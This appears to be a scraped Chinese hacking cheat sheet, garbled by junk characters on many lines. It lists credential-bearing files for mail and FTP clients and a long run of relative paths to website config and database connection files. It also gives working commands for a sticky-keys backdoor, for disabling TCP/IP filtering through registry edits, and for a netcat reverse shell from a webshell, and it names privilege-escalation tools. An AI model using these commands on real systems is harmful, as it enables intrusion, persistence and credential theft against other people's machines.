4 N7 b3 X) I# M) _: Tc:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
9 s/ V$ n8 Y1 M- U0 v. SC:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
$ v7 m3 \8 u: ?1 q( m. t- hC:\Program Files\tencent\Foxmal\accounts.cfg
  M2 E5 A, y9 }; @6 Y% ?% xC:\Program Files\LeapFTP 3.0\LeapFTP.exe
) @& i6 A& V6 ]! n( k6 |( PC:\Program Files\LeapFTP\LeapFTP.exe
3 N; j4 ^0 R5 @, N* ]; s; c2 ?7 p. R0 rc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
* f* x  H1 d/ _; w% Q, ?0 e! zc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
% b2 ^2 S/ b* ]9 U0 t+ s; d- V0 g3 ec:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
. B, T/ |7 R) F: {c:\Program Files\tencent\QQGAME\readme.txt
& h& z" \. `2 J7 u8 ?* vC:\Program Files\StormII\Storm.exe
( K9 b. }9 u* @# I
6 k; v9 B( n7 n4 m. J) I3.网站相对路径:

3 w5 _+ h% U0 ~9 ?/config.php
$ ]/ y" N& u6 T* t../../config.php
../config.php
9 q, p  J% {: l1 k- N! `$ @../../../config.php
8 L# i3 u0 o* @' i( I3 ^/config.inc.php
./config.inc.php
: K# c2 B: d) v+ L../../config.inc.php
../config.inc.php
../../../config.inc.php
1 Z/ y5 p2 z$ S& O) c/conn.php
8 U: `5 v& U6 n: y" C& w6 w./conn.php
/ ]! U; s4 Z( a( r/ i3 Q8 N../../conn.php
../conn.php
( z$ W' M1 f4 ?, X8 Z../../../conn.php
/conn.asp
6 i( m) f# q- C/ m4 L* J0 ^; S./conn.asp
% ~- V$ Y/ D: B; d1 b/ v- R% K, p../../conn.asp
../conn.asp
2 v' G# i+ g. b  o9 X../../../conn.asp
& [% ~2 L, Q$ ^& D8 K8 q/config.inc.php
./config.inc.php
: L1 |+ a2 W# r& \../../config.inc.php
../config.inc.php
: `1 Y5 E% Q$ K8 r$ s../../../config.inc.php
: e# \- K0 z0 `/config/config.php
& Y4 x, ]% Z( Q& W+ r../../config/config.php
1 v1 ]0 D: n5 I( V, r- L../config/config.php
../../../config/config.php
/config/config.inc.php
( Z; ~2 ?: |5 G. J  s& M./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
/config/conn.php
./config/conn.php
& v/ |" L0 Q0 d4 {  t../../config/conn.php
../config/conn.php
4 c& P" z9 y' `% D../../../config/conn.php
5 N' \0 K6 h& |- q0 i& W. ?  m/config/conn.asp
./config/conn.asp
/ m0 Q' c" R8 I../../config/conn.asp
../config/conn.asp
7 e; [5 `6 B. P: h8 C; v../../../config/conn.asp
/config/config.inc.php
7 f7 r  {+ {+ j* h, P' r./config/config.inc.php
../../config/config.inc.php
# }/ b/ R/ n3 ?  {% N* K6 D( u../config/config.inc.php
3 z+ m* L, }/ T( I% G+ V../../../config/config.inc.php
/data/config.php
2 x% W/ k4 g- A6 [../../data/config.php
9 W# o' o( S: D+ t/ S../data/config.php
../../../data/config.php
/data/config.inc.php
" h- B& G) |6 J! X( i./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
4 L9 R# S8 q1 y, X/data/conn.php
./data/conn.php
../../data/conn.php
8 U% E- v, R3 l../data/conn.php
../../../data/conn.php
' `+ n' b1 u+ K. |7 o" v/data/conn.asp
./data/conn.asp
../../data/conn.asp
+ f' ?. Z6 u  }0 Q# C../data/conn.asp
../../../data/conn.asp
. H! E1 g( b6 R+ S' T; K- s/data/config.inc.php
" `. u" C7 V8 O) S5 U. k./data/config.inc.php
: k" g6 A) k% Q: V9 G% i5 e../../data/config.inc.php
0 f& \0 B* t& d, B../data/config.inc.php
../../../data/config.inc.php
( T8 K4 h' g1 u/include/config.php
1 A$ ~* ]) ]/ w! m* [) a../../include/config.php
../include/config.php
) V) R' ?  c/ B4 D0 D../../../include/config.php
/include/config.inc.php
2 }3 _$ F( E& z! z' ?, E./include/config.inc.php
../../include/config.inc.php
  p  p8 A# U; y% n../include/config.inc.php
9 _; a4 r1 M  `1 Q( r$ r% e. [& k& Z../../../include/config.inc.php
/include/conn.php
* c% ^6 {; d* g# E: j./include/conn.php
../../include/conn.php
+ i! o+ Y; }/ J../include/conn.php
7 u" k& l4 r* k% @. T+ p, `" ?9 @8 d) ^) ]../../../include/conn.php
. v: O# d8 k' |9 Z& N3 n% |/include/conn.asp
0 Y! b* A% d" b. y3 g1 z./include/conn.asp
../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
7 ~- H- F& W& C4 ~4 G5 ?/include/config.inc.php
./include/config.inc.php
' x4 C" D( |0 L. G; U../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
../../inc/config.php
6 c* _  y# S3 o. v../inc/config.php
- N- @( x1 b6 y; N1 _../../../inc/config.php
4 E: I% l8 Y2 [/inc/config.inc.php
./inc/config.inc.php
0 J: S  W! \# m0 Z1 [../../inc/config.inc.php
6 D) M# Z0 m0 P. S; {4 Y) }; T../inc/config.inc.php
1 i  L" N  K; E' g8 `: P+ B../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
2 {2 K7 j/ b7 q5 W" b../../inc/conn.php
# H( U0 D% `$ ~! n; K../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
* w6 L+ W- T2 k( i1 c./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
+ b$ B; }# M+ o  Y' g' y/index.php
& N- l& W4 ^5 n: ^* T: Y' M./index.php
../../index.php
5 |5 m/ v' F' j# f, s8 T  T: \0 M../index.php
../../../index.php
/index.asp
./index.asp
+ A# H$ Y! H9 J) x! y../../index.asp
& a) j6 N9 R7 y6 M, s% ?../index.asp
../../../index.asp
5 K. g8 t$ V& ^  f4 S: L0 A" ?替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
0 W6 X. e" [3 G8 t
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
1 v0 @& N) E6 ^& B5 t
2 h* P6 @, s: ~. N4 S- {　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
6 T+ C9 U' O9 ^5 V去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
& S9 ?. {8 v8 }9 l( J: o- }- M$ aHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
1 U: r% K2 Q; V, K5 H. sHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
) b) j- ~& |4 ], o; \regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
: l9 X7 {! C+ `! k8 E8 yregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项
% Q' q4 d8 V  d% u, u7 g
% Y5 P" l9 K7 a: u9 v+ q2 W" y然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

, g" l% S: E6 j; h再将以上三个文件分别用
5 T$ l0 Q: j" |regedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可

webshell提权小技巧
cmd路径:
1 u! q; I5 W$ b7 f7 yc:\windows\temp\cmd.exe
# D. `3 j2 l/ x4 ]nc也在同目录下
( r& u# m0 j7 H" p6 {6 H% H例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。

* l* y& R$ ]; j6 B/ _而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
+ [* D8 j2 [# a' V$ m$ G+ I6 z- o这个不是重点
& o* @4 C6 x1 L1 f我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功